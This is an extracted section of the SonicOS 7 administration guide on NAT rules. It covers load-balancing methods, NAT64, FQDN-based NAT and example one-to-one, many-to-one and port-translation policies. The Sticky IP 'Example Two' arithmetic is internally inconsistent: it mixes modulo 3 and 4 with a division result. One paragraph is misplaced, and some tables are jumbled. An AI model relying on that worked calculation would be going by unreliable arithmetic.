NOTE: The load balancing capability in SonicOS, while fairly basic, satisfies the requirements for many network deployments. Network administrators with environments needing more granular load balancing, persistence and health-check mechanisms are advised to use a dedicated third-party loadbalancing appliance.
Topics:
l Determining the NAT LB Method to Use l Caveats l How Load Balancing Algorithms are Applied l Sticky IP Algorithm Examples
Determining the NAT LB Method to Use
DETERMINE WHICH NAT LB METHOD TO USE
Requirement
Deployment Example
NAT LB Method
Distribute load on server equally without need for persistence
External/Internal servers (such as, Round Robin web or FTP)
Indiscriminate load balancing External/Internal servers (such as, Random Distribution without need for persistence web or FTP)
Requires persistence of client E-commerce site, Email Security, Sticky IP
connection
SonicWall SMA appliance
(Any publicly accessible servers requiring persistence)
Precise control of remap of LAN to DMZ Servers
source network to a destination
range
Email Security, SonicWall SMA
appliance
Block Remap
Precise control of remap of Internal Servers (such as, Intranets Symmetrical Remap source network and destination or Extranets) network
SonicOS 7 Rules and Policies Administration Guide
26
NAT Rules
Caveats
l Only two health-check mechanisms (ICMP ping and TCP socket open) l No higher-layer persistence mechanisms (Sticky IP only) l No "sorry-server" mechanism if all servers in group are not responding l No "round robin with persistence" mechanism l No "weighted round robin" mechanism l No method for detecting if resource is strained
While there is no limit to the number of internal resources that the SonicWall network security appliance can load-balance to and there is no limit to the number of hosts it can monitor, abnormally large load-balancing groups (25+ resources) may impact performance.
How Load Balancing Algorithms are Applied
Round Robin Source IP connects to Destination IP alternately
Random
Source IP connects to Destination IP randomly
Distribution
Sticky IP
Source IP connects to same Destination IP
Block Remap Source network is divided by size of the Destination pool to create logical segments
Symmetrical Source IP maps to Destination IP (for example, 10.1.1.10 > 192.168.60.10) Remap
Sticky IP Algorithm Examples
Source IP is modulo with the size of the server cluster to determine the server to remap it to. The following two examples show how the Sticky IP algorithm works:
l Example One - Mapping to a Network l Example Two - Mapping to a IP Address Range
Example One - Mapping to a Network
192.168.0.2 to 192.168.0.4 Translated Destination = 10.50.165.0/30 (Network)
Packet Source IP = 192.168.0.2 192.168.0.2 = C0A80002 = 3232235522 = 11000000101010000000000000000010 (IP -> Hex -> Dec -> Binary)
Sticky IP Formula = Packet Src IP = 3232235522 [modulo] TransDest Size = 2 = 3232235522 [modulo] 2 = 0 (2 divides into numerator evenly. There is no remainder, thus 0)
SonicOS 7 Rules and Policies Administration Guide
27
NAT Rules
Sticky IP Formula yields offset of 0.
Destination remapping = 10.50.165.1
Example Two - Mapping to an IP Address Range
192.168.0.2 to 192.168.0.4 Translated Destination = 10.50.165.1 - 10.50.165.3 (Range)
Packet Src IP = 192.168.0.2 192.168.0.2 = C0A80002 = 3232235522 = 11000000101010000000000000000010 (IP -> Hex -> Dec -> Binary)
Sticky IP Formula = Packet Src IP = 3232235522 [modulo] TransDest Size = 3 = 3232235522 [modulo] 4 = 1077411840.6666667 - 1077411840 = 0.6666667 * 3 =2
Sticky IP Formula yields offset of 2.
Destination remapping to 10.50.165.3
About NAT64
SonicOS supports the NAT64 feature that enables an IPv6-only client to contact an IPv4-only server through an IPv6-to-IPv4 translation device known as a NAT64 translator. NAT64 provides the ability to access legacy IPv4-only servers from IPv6 networks; a SonicWall with NAT64 is placed as the intermediary router.
As a NAT64 translator, SonicOS allows an IPv6-only client from any zone to initiate communication to an IPv4-only server with proper route configuration. SonicOS maps IPv6 addresses to IPv4 addresses so IPv6 traffic changes to IPv4 traffic and vice versa. IPv6 address pools (represented as address objects) and IPv4 address pools are created to allow mapping by translating packet headers between IPv6 and IPv4. The IPv4 addresses of IPv4 hosts are translated to and from IPv6 addresses by using an IPv6 prefix configured in SonicOS.
The DNS64 translator enables NAT64. Either an IPv6 client must configure a DNS64 server or the DNS server address the IPv6 client gets automatically from the gateway must be a DNS64 server. The DNS64 server of an IPv6-only client creates AAAA (IPv6) records with A (IPv4) records. SonicOS does not act as a DNS64 server.
IMPORTANT: Currently, NAT64: l Only translates Unicast packets carrying TCP, UDP, and ICMP traffic.
l Supports FTP and TFTP application-layer protocol streams, but does not support H.323, MSN, Oracle, PPTP, RTSP, and RealAudio application-layer protocol streams.
l Does not support IPv4-initiated communications to a subset of the IPv6 hosts.
l Does not support Stateful High Availability. For NAT64 traffic matches, two mixed connection caches are created. Thus, the capacity for NAT64 connection caches is half that for pure IPv4 or IPv6 connections.
SonicOS 7 Rules and Policies Administration Guide
28
NAT Rules
Use of Pref64::/n
Pref64::/n is an IPv6 prefix used on the access network for protocol translation between IPv6 and IPv4. The Pref64::/n prefix is configured in SonicOS. A well-known Pref64::/n prefix, 64:ff9b::/96, is automatically created by SonicOS. Pref64::/n defines a network that can go from an IPv6-only client through NAT64 to an IPv4-only client. In SonicOS, an address object of Network type can be configured to include all addresses with Pref64::/n. This address object represents all IPv6 clients that can do NAT64. The DNS64 server uses Pref64::/n to judge if an IPv6 address is an IPv4-embedded IPv6 address by comparing the first n bits with Pref64::/n. DNS64 creates IPv4-embedded IPv6 addresses by synthesizing Pref64::/n with IPv4 address records and sending a DNS response to IPv6-only clients. For configuring a Pref64::/n address object, see Default Pref64 Address Object.
About FQDN-based NAT
SonicOS supports NAT policies using FQDN Address Objects for the original source/destination. Use cases include:
l Specifying public IP addresses with FQDN to a local server
l Specifying a public server with FQDN for consistency across replacement with a server that has a
SonicOS 7 Rules and Policies Administration Guide
29
NAT Rules
known IP address
l Routing traffic from/to a FQDN to have a source IP address other than the outbound interface IP.
The following functionality is supported:
l The original source/destination can be a pure FQDN or an address group with FQDN(s) and other IPv4 or IPv6 addresses, depending on the IP version of the NAT policy. A new FQDN address object can be directly created from the POLICY | Rules and Policies > NAT Rules page. FQDN is not supported for the translated source/destination.
l IP version options are provided for a NAT policy only if the version is ambiguous based on settings for original/translated source/destination fields. Either IPv4 or IPv6 must be selected.
l Mousing over an FQDN object of a NAT policy displays the IP addresses in the same IP version as the NAT policy.
l When NAT translation is performed, only the IP addresses in the NAT's IP version are considered. l The Advanced page is disabled if FQDN is used in either or both the original source/destination
fields. If probing is enabled and/or the NAT method is configured to a non-default value such as Sticky IP, neither of original source/destination address objects can be modified to contain an FQDN. l FQDN based NAT policies are supported in High Availability configurations.
SonicOS 7 Rules and Policies Administration Guide
30
NAT Rules
About Source MAC Address Override
An internal option has been added that allows you to replace the source MAC address of an outbound or port-forwarded packet with the MAC address specified in a NAT policy. By default, without this option, the MAC address of the output interface is used as the source MAC address of the packet. This feature is also disabled by default, but can be enabled using an internal setting. Contact SonicWall Technical Support for information about internal settings.
Viewing NAT Policy Entries
Topics: l Changing the Display l Filtering the Display
Changing the Display
The POLICY | Rules and Policies > NAT Rules page provides display options at the top of the page, including Search, IP Version, View, Add Name, Delete, and Refresh.
You can change the display of your NAT policies by selecting one of the following options in the View dropdown menu at the top of the page:
All Types
Custom Default
Displays all the NAT policies including Custom Policies and Default Policies. Initially, before you create NAT policies, only displays the Default Policies. Displays only those NAT policies you configure.
Displays only Default Policies.
Filtering the Display
You can enter the policy number (the number listed in the # column) in the Search field to display a specific NAT policy. Using the Search field, you can also enter alphanumeric search patterns, such as WLAN, X1 IP, or Private, to display only those policies of interest.
Displaying Information about Policies
Moving your pointer over the Comment icon in the Comment column of the NAT policies table displays the comments entered in the Comments field of the Add NAT Policy dialog for custom policies. Default
SonicOS 7 Rules and Policies Administration Guide
31
NAT Rules
policies have a brief description of the type of NAT policy, such as IKE NAT Policy or NAT Management Policy. Moving your pointer over the Statistics icon in the Configure column of the NAT policies table displays traffic statistics for the NAT policy.
Adding or Editing NAT or NAT64 Policies
NOTE: You cannot edit default NAT policies. For examples of different types of NAT policies, see Creating NAT Policies: Examples.
SonicOS 7 Rules and Policies Administration Guide
32
NAT Rules
To create or edit a NAT or NAT64 policy:
1. Navigate to POLICY | Rules and Policies > NAT Rules. 2. Do one of the following:
l To create a new NAT policy, click Add at the top of the page. The Add NAT Policy dialog displays.
l To edit an existing NAT policy, click the Edit icon in the Configure column for the NAT policy. The Edit NAT Policy dialog displays. The two dialogs are identical, although some changes cannot be made to some options in the Edit NAT Policy dialog. The options change when NAT64 Only is selected for IP Version.
SonicOS 7 Rules and Policies Administration Guide
33
NAT Rules
3. On the General screen, configure these settings:
l Name: Enter a descriptive, unique name to identify the NAT policy. l Original Source or IPv6 Original Source: This drop-down menu setting is used to identify the Source IP address(es) in the packet crossing the firewall, whether it is across interfaces, or into/out of VPN tunnels. You can:
l Select predefined address objects l Select Any l Create your own address objects These entries can be single host entries, address ranges, or IP subnets. FQDN address objects are supported. TIP: For IPv6 Original Source, only IPv6 address objects are shown in the drop-down menu or can be created. l Translated Source or Translated IPv4 Source: This drop-down menu setting is to what the specified Original Source is translated upon exiting the firewall, whether it is to another interface, or into/out of VPN tunnels. You can:
l Specify predefined address objects l Select Original l Create your own address objects entries. These entries can be single host entries, address ranges, or IP subnets. l Original Destination or Pref64: This drop-down menu setting identifies the Destination IP address(es) in the packet crossing the firewall, whether it be across interfaces, or into/out of VPN tunnels. When creating outbound NAT policies, this entry is usually set to Any as the
SonicOS 7 Rules and Policies Administration Guide
34
NAT Rules
destination of the packet is not being changed, but the source is being changed. However, these address object entries can be single host entries, address ranges, or IP subnets. FQDN address objects are supported.
TIP: For Pref64, this is the original destination of the NAT policy. Only IPv6 network address objects are shown in the drop-down menu or can be created. Pref64 is always pref64::/n network, as this is used by DNS64 to create AAAA records. You can select Well-known Pref64 or configure a network address object as Pref64.
l Translated Destination: This drop-down menu setting is to what the firewall translates the specified Original Destination upon exiting the firewall, whether it is to another interface or into/out-of VPN tunnels. When creating outbound NAT policies, this entry is usually set to Original, as the destination of the packet is not being changed, but the source is being changed. However, these address objects entries can be single host entries, address ranges, or IP subnets.
NOTE: For IP Version NAT64 Only, this option is set to Embedded IPv4 Address and cannot be changed.
l Original Service: This drop-down menu setting identifies the IP service in the packet crossing the firewall, whether it is across interfaces, or into/out-of VPN tunnels. You can use the predefined services on the firewall, or you can create your own entries. For many NAT policies, this field is set to Any, as the policy is only altering source or destination IP addresses.
NOTE: For IP Version NAT64 Only, this option is set to ICMP UDP TCP and cannot be changed.
l Translated Service: This drop-down menu setting is to what the firewall translates the Original Service upon exiting the firewall, whether it be to another interface, or into/out of VPN tunnels. You can use the predefined services in the firewall, or you can create your own entries. For many NAT Policies, this field is set to Original, as the policy is only altering source or destination IP addresses.
NOTE: For IP Version NAT64 Only, this option is set to Original and cannot be changed.
l Inbound Interface: This drop-down menu setting specifies the entry interface of the packet. The default is Any.
When dealing with VPNs, this is usually set to Any (the default), as VPN tunnels aren't really interfaces.
l Outbound Interface: This drop-down menu specifies the exit interface of the packet after the NAT policy has been applied. This field is mainly used for specifying to which WAN interface to apply the translation.
IMPORTANT: Of all fields in a NAT policy, this one has the most potential for confusion.
When dealing with VPNs, this is usually set to Any (the default), as VPN tunnels are not really interfaces. Also, as noted in Creating NAT Policies: Examples, when creating inbound one-toone NAT Policies where the destination is being remapped from a public IP address to a private IP address, this field must be set to Any.
l Comment: This field can be used to describe your NAT policy entry. The field has a 32character limit, and once saved, can be viewed in the main POLICY | Rules and Policies > NAT Rules page by running the mouse over the Comment icon of the NAT policy entry. Your comment appears in a pop-up dialog as long as the mouse is over the Comment icon.
l IP Version: Select the IP version:
NOTE: The IP Version cannot be changed in the Edit NAT Policy dialog.
SonicOS 7 Rules and Policies Administration Guide
35
NAT Rules
l IPv4 Only (default)
l IPv6 Only
l NAT64 Only
IMPORTANT: The options on the Add NAT Policy dialog change when NAT64 Only is selected and the Advanced view is not available.
l Enable NAT Policy: By default, this checkbox is selected, meaning the new NAT policy is activated the moment it is saved. To create a NAT policy entry but not activate it immediately, clear this checkbox.
l Create a reflexive policy: When you select this checkbox, a mirror outbound or inbound NAT policy for the NAT policy you defined in the Add NAT Policy dialog is automatically created. This option is not selected by default.
l Enable DNS doctoring: Selecting this check box enables the NSv to change the embedded IP addresses in Domain Name System response so clients may have the correct IP addresses of servers. Refer to DNS Doctoring.
4. To configure NAT load balancing options, click Advanced. Otherwise, skip to Step 8 to add the policy with the current configuration.
NOTE: The Advanced view does not display if NAT64 Only is selected for IP Version or if a FQDN address object/group is selected for either Original Source or Original Destination.
SonicOS 7 Rules and Policies Administration Guide
36
NAT Rules
NOTE: Except for the Disable Source Port Remap option, the options on this screen can only be activated when a group is specified in one of the drop-down menus on the General screen. Otherwise, the NAT policy defaults to Sticky IP as the NAT Method. 5. On the Advanced screen under NAT Method, select one of the following from the NAT Method drop-down list:
l Sticky IP Source IP always connects to the same Destination IP (assuming it is alive). This method is best for publicly hosted sites requiring connection persistence, such as web applications, web forms, or shopping cart applications. This is the default mechanism, and is recommended for most deployments.
l Round Robin Source IP cycles through each live load-balanced resource for each connection. This method is best for equal load distribution when persistence is not required.
l Block Remap/Symmetrical Remap These two methods are useful when you know the source IP addresses/networks (for example, when you want to precisely control how traffic from one subnet is translated to another).
l Random Distribution Source IP connects to Destination IP randomly. This method is useful when you wish to randomly spread traffic across internal resources.
If the NAT Method is set to anything other than Sticky IP, FQDN-based address objects cannot be used for Original Source or Original Destination. 6. Optionally, to force the firewall to only do IP address translation and no port translation for the NAT policy, select the Disable Source Port Remap checkbox. SonicOS preserves the source port of the connection while executing other NAT mapping. This option is available when adding or editing a NAT policy if the source IP address is being translated. This option is not selected by default.
NOTE: This option is unavailable and dimmed if the Translated Source (on the General view) is set to Original.
You can select this option to temporarily take the interface offline for maintenance or other reasons. If connected, the link goes down. Clear the checkbox to activate the interface and allow the link to come back up. 7. In the High Availability section, optionally select Enable Probing. When checked, SonicOS uses one of two methods to probe the addresses in the load-balancing group, using either a simple ICMP ping query to determine if the resource is alive, or a TCP socket open query to determine if the resource is alive. Per the configurable intervals, the firewall can direct traffic away from a non-responding resource, and return traffic to the resource after it has begun to respond again.
When Enable Probing is selected, the following options become available:
l Probe hosts every n seconds Specify the interval between host probes. The default is 5 seconds.
l Probe type -- Select the probe type, such as TCP, from the drop-down menu. The default is Ping (ICMP).
l Port Specify the port. The default is 80.
l Reply time out Specify the maximum length of time before a time out. The default is 1 second.
l Deactivate host after n missed intervals Specify the maximum number of intervals that a host can miss before being deactivated. The default is 3.
l Reactivate host after n successful intervals Specify the minimum number of successful intervals before a host can be reactivated. The default is
SonicOS 7 Rules and Policies Administration Guide
37
NAT Rules
3. l Enable Port Probing Select to enable port probing using the Probe type
selected above. Selecting this option enhances NAT to also consider the port while load balancing. This option is disabled by default. l RST Response Counts As Miss Select to count RST responses as misses. The option is selected by default if Enable Port Probing is selected.
NOTE: If probing is enabled, FQDN based address objects cannot be used for Original Source or Original Destination. 8. Click Add to add the NAT policy or click OK if editing a policy.
Deleting NAT Policies
To delete a single NAT policy, click the Delete icon (X) in the Configure column of the NAT Rules entry. If the icon is dimmed, the NAT policy is a default entry, and you cannot delete it.
To delete one or more custom NAT policies, select the checkboxes of the policies and click Delete at the top of the table.
To delete all custom policies, click the top left checkbox in the NAT Rules table. All custom policies are selected. Click Delete at the top of the table.
Default policies cannot be deleted.
Creating NAT Rule Policies: Examples
NAT Rule policies allow you the flexibility to control Network Address Translation based on matching combinations of Source IP address, Destination IP address, and Destination Services. Policy-based NAT allows you to deploy different types of NAT simultaneously.
Unless otherwise stated, the examples in this section use the following IP addresses as examples to demonstrate the NAT policy creation and activation. You can use these examples to create NAT Rule policies for your network, substituting your IP addresses for the examples shown here:
l 192.168.10.0/24 IP subnet on interface X0 l 67.115.118.64/27 IP subnet on interface X1 l 192.168.30.0/24 IP subnet on interface X3 l X0 IP address is 192.168.10.1 l X1 IP address is 67.115.118.68 l Web server's "private" address at 192.168.30.200 l Web server's "public" address at 67.115.118.70 l Public IP range addresses of 67.115.118.71 67.115.118.74
SonicOS 7 Rules and Policies Administration Guide
38
NAT Rules
Topics:
l Creating a One-to-One NAT Policy for Inbound Traffic l Creating a One-to-One NAT Policy for Outbound Traffic l Inbound Port Address Translation via One-to-One NAT Policy l Inbound Port Address Translation via WAN IP Address l Creating a Many-to-One NAT Policy l Creating a Many-to-Many NAT Policy l Creating a One-to-Many NAT Load Balancing Policy l Configuring NAT Load Balancing for Two Web Servers l Creating a WAN-to-WAN Access Rule for a NAT64 Policy
Creating a One-to-One NAT Policy for Inbound Traffic
A one-to-one NAT policy is the most commonly used type of NAT policy on SonicWall security appliances. It allows you to translate an external public IP addresses into an internal private IP address. When paired with an Allow access rule, this NAT policy allows any source to connect to the internal server using the public IP address; the firewall handles the translation between the private and public address. With this policy in place, the firewall translates the server's public IP address to the private IP address when connection requests arrive via the WAN interface (by default, the X1 interface).
You also need to create the access rule that allows anyone to make HTTP connections to the web server through the web server's public IP address, and also create the NAT policy.
The mirror (reflexive) policy for this one-to-one inbound NAT policy is described in Creating a One-to-One NAT Policy for Outbound Traffic.
To conceal the internal server's real listening port, but provide public access to the server on a different port, refer to the example configuration described in Inbound Port Address Translation via One-to-One NAT Policy.
To create a one-to-one policy for inbound traffic: 1. Navigate to the POLICY | Rules and Policies > Access Rules page.
SonicOS 7 Rules and Policies Administration Guide
39
NAT Rules
2. Click +Add Rule to display the Create Access Rule dialog. 3. Enter in the values shown in Option choices: Access Rule for One-to-one inbound traffic example.
OPTION CHOICES: ACCESS RULE FOR ONE-TO-ONE INBOUND TRAFFIC EXAMPLE
Option Action From To Source Port
Service Source Destination
Users Included Users Excluded Schedule Comment Enable logging Allow Fragmented Packets All other options
Value Allow WAN Select the zone that the server is in Select a port; the default is Any If Source Port is configured, the access rule will filter the traffic based on the source port defined in the selected service object/group. The service object/group selected must have the same protocol types as the ones selected in Service. HTTP Any webserver_public_ip (the address object containing the server's public IP address) All (default) None (default) Always on (default) Enter a short description Selected Selected
Deselected
4. Click Apply. The rule is added. You can also continue with the Access Rule wizard setting up additional rules.
5. Click Finish. 6. Navigate to the POLICY | Rules and Policies > NAT Rules page. 7. Click +Name to display the Add NAT Policy dialog. 8. Configure the values shown in the Option Choices: One-to-one Inbound NAT Policy table.
OPTION CHOICES: ONE-TO-ONE INBOUND NAT POLICY
Option Original Source Translated Source Original Destination Translated Destination Original Service Translated Service Inbound Interface
Value Any Original webserver_public_ip webserver_private_ip HTTP Original X1
SonicOS 7 Rules and Policies Administration Guide
40
NAT Rules
Option
Value
Outbound Interface
Any NOTE: Select Any rather than the interface that the server is on.
Comment
Enter a short description
Enable NAT Policy
Checked
Create a reflexive policy Not checked
9. Click Add and then click Close.
When you are done, attempt to access the web server's public IP address using a system located on the public internet. You should be able to successfully connect. If not, review this section, and the Creating a One-to-One NAT Policy for Outbound Traffic section, and ensure that you have configured all required settings correctly.
Creating a One-to-One NAT Policy for Outbound
Traffic
One-to-one NAT for outbound traffic is another common NAT policy on a firewall for translating an internal IP address into a unique IP address. This is useful when you need specific systems, such as servers, to use a specific IP address when they initiate traffic to other destinations. Most of the time, a NAT policy such as this one-to-one NAT policy for outbound traffic is used to map a server's private IP address to a public IP address, and it is paired with a reflexive (mirror) policy that allows any system from the public internet to access the server, along with a matching firewall access rule that permits this. The reflexive NAT policy is described in Creating a One-to-One NAT Policy for Inbound Traffic.
SonicOS 7 Rules and Policies Administration Guide
41
NAT Rules
To create a one-to-one policy for outbound traffic: 1. Navigate to the OBJECT | Match Objects > Addresses page.
2. Click +Add at the top of the page. The Address Object Settings dialog displays.
3. Enter a friendly description such as webserver_private_ip for the server's private IP address in the Name field.
4. Select the zone assigned to the server from the Zone Assignment drop-down menu. 5. Choose Host from the Type drop-down menu. 6. Enter the server's private IP address in the IP Address field. 7. Click Save. The new address object is added to the Address Objects table. 8. Then, repeat Step 2 through Step 7 to create another object in the Address Object Settings dialog
for the server's public IP address and select WAN from the Zone Assignment drop-down menu. Use webserver_public_ip for the Name.
SonicOS 7 Rules and Policies Administration Guide
42
NAT Rules
9. Click Save to create the address object. The new address object is added to the Address Objects table.
10. Click Cancel to close the Address Object Settings dialog. 11. Navigate to the POLICY | Rules and Policies > NAT Rules page.
12. Click +Name at the top of the page. The Add NAT Policy dialog displays. 13. To create a NAT policy to allow the web server to initiate traffic to the public internet using its
mapped public IP address, choose the options shown in Option choices: One-to-One NAT Policy for Outbound Traffic Example:
OPTION CHOICES: ONE-TO-ONE NAT POLICY FOR OUTBOUND TRAFFIC EXAMPLE
Option Original Source Translated Source Original Destination Translated Destination Original Service Translated Service Inbound Interface Outbound Interface Comment Enable NAT Policy Create a reflexive policy
Value webserver_private_ip webserver_public_ip Any Original Any Original X3 X1 Enter a short description Checked (dimmed when Translated Destination is Original)
14. When done, click Add to add and activate the NAT policy. 15. Click Cancel to close the Add NAT Policy dialog.
With this policy in place, the firewall translates the server's private IP address to the public IP address when it initiates traffic out the WAN interface (by default, the X1 interface).
You can test the one-to-one mapping by opening up a web browser on the server and accessing the public website http://www.whatismyip.com. The website should display the public IP address you attached to the private IP address in the NAT policy you just created.
SonicOS 7 Rules and Policies Administration Guide
43
NAT Rules
Inbound Port Address Translation via One-to-One NAT Policy
This type of NAT policy is useful when you want to conceal an internal server's real listening port, but provide public access to the server on a different port. In this example, you create a service object for the different port (TCP 9000), then modify the NAT policy and rule created in the Creating a One-to-One NAT Policy for Inbound Traffic section to allow public users to connect to the private web server on its public IP address via that port instead of the standard HTTP port (TCP 80).
To create a one-to-one policy for inbound port address translation:
1. Navigate to the OBJECT | Match Objects > Services page. On this page, you can create a custom service for the different port.
2. In the Service Objects view, click +Add to display the Service Object dialog.
3. Give your custom service a friendly name such as webserver_public_port. 4. Select TCP(6) from the Protocol drop-down menu.
SonicOS 7 Rules and Policies Administration Guide
44
NAT Rules
5. For Port Range, type 9000 into both fields as the starting and ending port numbers for the service. 6. When done, click Add to save the custom service, then click Close.
The Service Objects screen is updated. 7. Navigate to the POLICY | Rules and Policies > NAT Rules page.
From here, modify the NAT policy created in the Creating a One-to-One NAT Policy for Inbound Traffic section that allowed any public user to connect to the web server on its public IP address. 8. Click the Edit icon next to the NAT policy. The Edit NAT Policy dialog displays. 9. Edit the NAT policy with the options shown in the Option Choices: Inbound Port Address Translation via One-to-One NAT Policy table.
OPTION CHOICES: INBOUND PORT ADDRESS TRANSLATION VIA ONE-TO-ONE NAT POLICY
Option Original Source Translated Source Original Destination Translated Destination Original Service Translated Service Inbound Interface Outbound Interface Comment Enable NAT Policy
Value Any Original webserver_public_ip webserver_private_ip webserver_public_port (or whatever you named it above) HTTP X1 Any Enter a short description Checked
NOTE: Make sure you choose Any as the Outbound interface rather than the interface that the server is on. This might seem counter-intuitive, but it is actually the correct thing to do (if you try to specify the interface, you get an error).
10. Click OK and then click Close. 11. With this policy in place, the firewall translates the server's public IP address to the private IP address
when connection requests arrive from the WAN interface (by default, the X1 interface), and translates the requested port (TCP 9000) to the server's actual listening port (TCP 80). 12. Finally, modify the firewall access rule created in the previous section to allow any public user to connect to the web server on the new port (TCP 9000) instead of the server's actual listening port (TCP 80). 13. Navigate to the POLICY | Rules and Policies > NAT Rules page and locate the rule for webserver_public_ip. 14. Click the Edit icon to display the rule in the Edit Rule dialog. 15. Edit the values as shown in the Option Choices: Inbound Port Address Translation via One-to-One
SonicOS 7 Rules and Policies Administration Guide
45
NAT Rules
NAT Policy Rule table.
OPTION CHOICES: INBOUND PORT ADDRESS TRANSLATION VIA ONE-TO-ONE NAT POLICY RULE
Option Action Service Source Destination Users Allowed Schedule Logging Comment
Value Allow webserver_public_port (or whatever you named it) Any webserver_public_ip All Always on Checked Enter a short description
16. Click OK.
To verify, attempt to access the web server's public IP address using a system located on the public internet on the new custom port (for example: http://67.115.118.70:9000). You should be able to connect successfully. If not, review this section and ensure that you have entered all required settings correctly.
Inbound Port Address Translation via WAN IP Address
This is one of the more complex NAT policies you can create on a firewall running SonicOS -- it allows you to use the WAN IP address of the firewall to provide access to multiple internal servers. This is most useful in situations where your ISP has only provided a single public IP address, and that IP address has to be used by the firewall's WAN interface (by default, the X1 interface).
Below, create the programming to provide public access to two internal web servers through the firewall's WAN IP address; each is tied to a unique custom port. It is possible to create more than two as long as all the ports are unique.
To use the WAN IP address of the firewall to provide access to multiple internal servers:
1. Create two custom service objects for the unique public ports the servers respond on. See Create Services.
2. Create two address objects for the servers' private IP addresses. See Create Addresses. 3. Create two NAT policies to allow the two servers to initiate traffic to the public internet. See Create
Outbound NAT Policies. 4. Create two NAT policies to map the custom ports to the actual listening ports, and to map the private
IP addresses to the firewall's WAN IP address. See Create Inbound NAT Policies. 5. Create two access rules to allow any public user to connect to both servers via the firewall's WAN IP
address and the servers' respective unique custom ports. See Create Access Rules.
SonicOS 7 Rules and Policies Administration Guide
46
NAT Rules
To create an inbound port address translation policy via WAN IP address:
Create Services
1. Navigate to the OBJECT | Match Objects > Services page. 2. Click Add. The Add Service dialog displays. 3. Create two Service Objects. For Name, enter your custom service object names, such as servone_
public_port and servtwo_public_port. 4. For each, select TCP(6) as the Protocol. 5. Enter 9100 as the starting and ending ports for servone_public_port. 6. Enter 9200 as the starting and ending ports for servtwo_public_port. 7. After configuring each custom service, click Save to save the custom services. 8. After configuring both custom services, click Close.
Create Addresses
1. Navigate to the OBJECT | Match Objects > Addresses page. Create two Address Objects. 2. Click +Add. The Address Object Settings dialog displays. 3. For Name, enter your custom address object name, such as servone_private_ip and servtwo_
private_ip. 4. Select the zone that the servers are in from the Zone Assignment drop-down menu. 5. Choose Host from the Type drop-down menu. 6. Enter the server's private IP addresses in the IP Address field. 7. After configuring each address object, click Save to create the address object. 8. After configuring both address objects, click Close.
Create Outbound NAT Policies
1. Navigate to the POLICY | Rules and Policies > NAT Rules page. 2. Click +Name. The Add NAT Policy dialog displays. 3. To create two NAT policies to allow both servers to initiate traffic to the public internet using the
firewall's WAN IP address, configure the two sets of options shown in the Option Choices: Two Servers to Initiate Traffic to the Internet table.
OPTION CHOICES: TWO SERVERS TO INITIATE TRAFFIC TO THE INTERNET
Options Original Source Translated Source Original Destination Translated Destination Original Service Translated Service
Server One Values servone_private_ip WAN Interface IP Any Original Any Original
Server Two Values servtwo_private_ip WAN Interface IP Any Original Any Original
SonicOS 7 Rules and Policies Administration Guide
47
NAT Rules
Options
Server One Values
Server Two Values
Inbound Interface
X3
X3
Outbound Interface
X1
X1
Comment
Enter a short description
Enter a short description
Enable NAT Policy
Checked
Checked
Create a reflexive policy (dimmed)
(dimmed)
4. After configuring the NAT policy for each server, click Add to add and activate that NAT policy. 5. After configuring both NAT policies, click Close.
With these policies in place, the firewall translates the servers' private IP addresses to the public WAN IP address when it initiates traffic out the WAN interface (by default, the X1 interface).
Create Inbound NAT Policies
1. Click +Add on the POLICY | Rules and Policies > NAT Rules page again. The Add NAT Policy dialog displays.
2. To create two NAT policies to map the custom ports to both servers' real listening ports and to map the firewall's WAN IP address to the servers' private addresses, configure the two sets of options shown in the Option choices: Mapping custom ports to servers table.
OPTION CHOICES: MAPPING CUSTOM PORTS TO SERVERS
Options
Server One Values
Original Source
Any
Translated Source Original
Original Destination WAN Interface IP
Translated Destination
servone_private_ip
Original Service
servone_public_port
Translated Service HTTP
Inbound Interface X1
Outbound Interface Any
Comment Enable NAT Policy Create a reflexive policy
Enter a short description Checked Cleared
Server Two Values Any Original WAN Interface IP servtwo_private_ip
servtwo_public_port HTTP X1 Any NOTE: Make sure you choose Any as the destination interface and not the interface that the server is on. Enter a short description Checked Cleared
3. After configuring the NAT policy for each server, click Save to add and activate that NAT policy. 4. After configuring both NAT policies, click Close.
SonicOS 7 Rules and Policies Administration Guide
48
NAT Rules
Create Access Rules
1. Navigate to the POLICY | Rules and Policies > Access Rules page. 2. Click +Add Rule. The Create Access Rule wizard displays. 3. To create the two access rules that allow anyone from the public Internet to access the two web
servers using the custom ports and the firewall's WAN IP address, configure the two sets of options shown in the Option Choices: Creating Access Rules table.
OPTION CHOICES: CREATING ACCESS RULES
Options Action From To Source Port Service Source Destination Users Included Users Excluded Schedule Logging Comment
Server One Values Allow WAN Zone assigned to server Any servone_public_port Any WAN Interface IP All None Always on checked Enter a short description
Server Two Values Allow WAN Zone assigned to server Any servtwo_public_port Any WAN Interface IP All None Always on checked Enter a short description
4. After configuring the access rule for each server, click Save to add and activate that access rule. 5. After configuring both access rules, click Close.
Test and Verify
To verify, attempt to access the web servers via the firewall's WAN IP address using a system located on the public internet on the new custom port (for example: http://67.115.118.70:9100 and http://67.115.118.70:9200). You should be able to successfully connect. If not, review this section and ensure that you have configured all required settings correctly.
Creating a Many-to-One NAT Policy
Many-to-one is a very common NAT policy on a SonicWall security appliance, and allows you to translate a group of addresses into a single address. Most of the time, this means that you are taking an internal "private" IP subnet and translating all outgoing requests into the IP address of the WAN interface of the firewall (by default, the X1 interface), such that the destination sees the request as coming from the IP address of the firewall's WAN interface, and not from the internal private IP address.
SonicOS 7 Rules and Policies Administration Guide
49
NAT Rules
To create a many-to-one policy: 1. Navigate to the POLICY | Rules and Policies > NAT Rules page.
2. Click +Name. The Add NAT Policy dialog displays.
3. To create a NAT policy to allow all systems on the X3 interface to initiate traffic using the firewall's WAN IP address, choose the following options:
OPTION CHOICES: MANY-TO-ONE NAT POLICY EXAMPLE
Options Original Source Translated Source
Value X3 Subnet WAN Interface IP
SonicOS 7 Rules and Policies Administration Guide
50
NAT Rules
Options
Value
Original Destination
Any
Translated Destination
Original
Original Service
Any
Translated Service
Original
Inbound Interface
X3
Outbound Interface
X1
Comment
Enter a short description
Enable NAT Policy
Checked
Create a reflexive policy
(dimmed)
4. Click Save to add and activate the NAT policy. The new policy is added to the NAT Policies table. 5. Click Close.
NOTE: This policy can be duplicated for subnets behind the other interfaces of the firewall; just:
a. Replace the Original Source with the subnet behind that interface. b. Adjust the source interface. c. Add another NAT policy.
Creating a Many-to-Many NAT Policy
The many-to-many NAT policy allows you to translate a group of addresses into a group of different addresses. This allows the firewall to utilize several addresses to perform the dynamic translation. If a manyto-many NAT policy contains source original and source translated with the same network prefix, the remaining part of the IP address is unchanged.
SonicOS 7 Rules and Policies Administration Guide
51
